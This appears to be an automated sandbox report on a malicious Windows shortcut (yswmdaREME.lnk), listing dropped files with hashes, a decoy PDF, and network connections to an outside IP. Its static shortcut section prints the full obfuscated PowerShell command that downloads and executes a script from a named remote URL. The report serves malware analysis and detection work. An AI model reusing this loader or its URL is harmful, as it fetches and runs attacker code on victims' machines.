Preview:	SessionID=6410d331-80d7-4c31-af7b-cf9f5b1098d0.1734609715254 Timestamp=2024-12-19T07:01:55:254-0500 ThreadID=3084 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6410d331-80d7-4c31-af7b-cf9f5b1098d0.1734609715254 Timestamp=2024-12-19T07:01:55:256-0500 ThreadID=3084 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6410d331-80d7-4c31-af7b-cf9f5b1098d0.1734609715254 Timestamp=2024-12-19T07:01:55:256-0500 ThreadID=3084 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6410d331-80d7-4c31-af7b-cf9f5b1098d0.1734609715254 Timestamp=2024-12-19T07:01:55:256-0500 ThreadID=3084 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6410d331-80d7-4c31-af7b-cf9f5b1098d0.1734609715254 Timestamp=2024-12-19T07:01:55:256-0500 ThreadID=3084 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.41353154862155
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRg:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRy
MD5:	391163424EBAB6205ED1FEC0F3DE3A1D
SHA1:	E0AB11D7A0F45F9CB5F493DBF4B1C93754F43FBD
SHA-256:	4D4CCB8FC14554C376BABB7180AA7FFAAE557040D1677D880525FD8F9C521C72
SHA-512:	4DA6296491708846988C364AF83CF39FE79733C193DBCA0601563B7958080FBC9F1C69F6141920574488958D8FF8A332566E509BD129BB66E62A87156C52FB75
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\a7b82c57-1ccd-4f58-b76c-98193b1e6ac1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d4214235-b1c8-45b5-8c88-3eb5407bd5ed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P6D+Tegs6h21YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3P/egfh21YS8lkipdjMMNB1DofjgJJg
MD5:	042D55016B8E5602CB5988F454D6B222
SHA1:	0344633A9FF9E8977381205B4550FEF8DE7553D4
SHA-256:	2BB1D926802898504F926FFD062EB6830FF629FB9DB7AF0AAC4BE9A927A25633
SHA-512:	5649FBAD481AF597D4556EBCF25970842166CF18AE97FD328B4583FF415B998534D25FC9BE58D4B49B2A81A26A33ED53E668E14200DB69B95BA459A151B7E0D8
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d570ac0a-d6ae-4d7f-8bc2-0e8c06ef1f48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d709223c-8cd2-4f72-924c-54863d47ef1b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CGO3ESW9RSV6PD3O0NIX.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4514
Entropy (8bit):	3.782161981169096
Encrypted:	false
SSDEEP:	48:/mfJrJl5ORi2l68SogZo7JtJaZORi2lJ8SogZo7JtJO1:/UORr4HbORrNHj
MD5:	46F697578FEF7AD26DB446FFE8C737DE
SHA1:	8D823FBE55971A57213060C12B0096C6EE0D5801
SHA-256:	14C6F405E7FCACFBE989386D23EBDF843652B660956DEFD7AEE36E3B6A8CC8F2
SHA-512:	8A6BF7DBDADB621DD0BEBC58110D1330518C000DE29B8470A8DBE479357BEA497AECA46ECD873541A7BDE3F8B541ACE37A5ECF6E8884E0E139ED1CF10FA1B0F5
Malicious:	false
Preview:	...................................FL..................F. .. ...C..3a...."H..R...X...R...............................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_......5a...:.J..R....j.2......Y.W .YSWMDA~1.LNK..N......EW.>.Y.W..........................(...y.s.w.m.d.a.R.E.M.E...l.n.k.......X...............-.......W...........r.)s.....C:\Users\user\Desktop\yswmdaREME.lnk....i.m.a.g.e.r.e.s...d.l.l.`.......X.......715575...........hT..CrF.f4... .../Tc...,......hT..CrF.f4... .../Tc...,..............Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z.....r..`....."KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....EW.>..Windows.@......OwH.Y.W....3......................#..W.i.n.d.o.w.s.....Z.1......Y.W..System32..B......OwH.Y.W..........................A...S.y.s.t.e.m.3.2.....t.1......O.I.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b0461094f16b7803.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4514
Entropy (8bit):	3.782161981169096
Encrypted:	false
SSDEEP:	48:/mfJrJl5ORi2l68SogZo7JtJaZORi2lJ8SogZo7JtJO1:/UORr4HbORrNHj
MD5:	46F697578FEF7AD26DB446FFE8C737DE
SHA1:	8D823FBE55971A57213060C12B0096C6EE0D5801
SHA-256:	14C6F405E7FCACFBE989386D23EBDF843652B660956DEFD7AEE36E3B6A8CC8F2
SHA-512:	8A6BF7DBDADB621DD0BEBC58110D1330518C000DE29B8470A8DBE479357BEA497AECA46ECD873541A7BDE3F8B541ACE37A5ECF6E8884E0E139ED1CF10FA1B0F5
Malicious:	false
Preview:	...................................FL..................F. .. ...C..3a...."H..R...X...R...............................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_......5a...:.J..R....j.2......Y.W .YSWMDA~1.LNK..N......EW.>.Y.W..........................(...y.s.w.m.d.a.R.E.M.E...l.n.k.......X...............-.......W...........r.)s.....C:\Users\user\Desktop\yswmdaREME.lnk....i.m.a.g.e.r.e.s...d.l.l.`.......X.......715575...........hT..CrF.f4... .../Tc...,......hT..CrF.f4... .../Tc...,..............Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z.....r..`....."KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....EW.>..Windows.@......OwH.Y.W....3......................#..W.i.n.d.o.w.s.....Z.1......Y.W..System32..B......OwH.Y.W..........................A...S.y.s.t.e.m.3.2.....t.1......O.I.

C:\Users\user\Desktop\List of Required items and services.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	871324
Entropy (8bit):	7.827941732382635
Encrypted:	false
SSDEEP:	24576:H8QbZ2upCDtuOQKE7nmA3xWYT6LTA2D9dx5:HXpCST7ntB+jDTx5
MD5:	CC648C9FBCD03EAC939663F24ED3AB02
SHA1:	56F288BABF7DA8A89354140BC5A6C6D09CFEDCAD
SHA-256:	F4A5A2657C465B26BB136761227F9D640CD156BABDE0CB78297429020EE1B3D3
SHA-512:	5F27E7000A182D1477A7F9DD36AFA668380DE68EF78AC47575ED8414C7D92467B30FDD653DD3A2609CA4250EAAFBD6D56DA5DE375D189222C477346CE8B35AC7
Malicious:	false
Preview:	%PDF-1.7.%......129 0 obj.<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>.endobj. ..143 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``..".:@$S.X..D....'..n..l..d.....IFwf.x-...$..4f`..,.V..8.....7@.??.@....:.M..endstream.endobj.startxref..0..%%EOF.. ..165 0 obj.<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>stream..h.b```a``.d`e`H.g.b@.!.f.........uv..g..u..(;.p0..2.h..@....b..H..1/.X..FI.....,]..5.....1*...d....f.i......H.0p.Z..3..E..../.(C!..2p....L...pUF.._.CU...0..."...endstream.endobj.130 0 obj.<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>.endobj.131 0 obj.<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/T

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=260, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	3.6530987355866786
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	yswmdaREME.lnk
File size:	1'792 bytes
MD5:	ac9f1a46ed4834706da623565b12cf8b
SHA1:	785d2d27f92b130b07296d0ebbffc9d3b9ec94ef
SHA256:	b3c1839f1918791bf0b32f8df7588e31d64636bd70b2d289aea42782db4bcf36
SHA512:	3ee8494fa7a0e3d06f41908832f6a3aa5959a5f584ae158bcf85ae4251889b0a61603f8314be12c9f53b8c86d1c3a8b95988da95d1dc4732de7837a9eafb0b22
SSDEEP:	24:8+pHYVKVW7/CWMOlfA1NAplxjc/GWec/Ggc/GwBMkOlVCLplMfEI75T7Z5:8waNTDjc/Bec/hc/sHKFQ1T
TLSH:	E5315B540FE60714E2BBB679D8FEA202E87A7846EB338F8E004111C537A5101A469F3F
File Content Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................V.1...........windows.@.............................................w.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	009280889081ad0d

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line Argument:	${xadeoc} = $PSHOME;${k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${k99xuf.});${.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing'))
Icon location:	imageres.dll

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 11:56:19.098526001 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:19.098567009 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:19.098644972 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:19.109415054 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:19.109428883 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:20.361381054 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:20.361495972 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:20.364558935 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:20.364567041 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:20.364942074 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:20.372246027 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:20.419334888 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:20.802592993 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:20.802658081 CET	443	49702	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:20.802714109 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:20.840255022 CET	49702	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:22.884047031 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:22.884155035 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:22.884246111 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:22.884587049 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:22.884624958 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.132137060 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.132313967 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.141169071 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.141185999 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.141475916 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.142865896 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.183330059 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.575896978 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.616790056 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.616823912 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.663660049 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.695475101 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.695491076 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.695509911 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.695518017 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.695544004 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.695547104 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.695568085 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.695596933 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.741837025 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.810586929 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.810601950 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.810648918 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.810683012 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.810712099 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.810787916 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.810826063 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.810851097 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.851406097 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.851442099 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.851495981 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.851552963 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.851588964 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.851617098 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.981062889 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.981089115 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.981339931 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:24.981380939 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:24.981431961 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.009761095 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.009784937 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.009953022 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.010001898 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.010055065 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.034198999 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.034225941 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.034300089 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.034317017 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.034389019 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.163769007 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.163796902 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.163891077 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.163891077 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.163930893 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.163974047 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.184578896 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.184607029 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.184681892 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.184704065 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.184740067 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.184762001 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.202583075 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.202609062 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.202811956 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.202833891 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.202904940 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.223366022 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.223393917 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.223495007 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.223512888 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.223573923 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.244107962 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.244134903 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.244246960 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.244265079 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.244318008 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.346115112 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.346139908 CET	443	49713	107.161.23.150	192.168.2.7
Dec 19, 2024 11:56:25.346240997 CET	49713	443	192.168.2.7	107.161.23.150
Dec 19, 2024 11:56:25.346272945 CET	443	49713	107.161.23.150	192.168.2.7
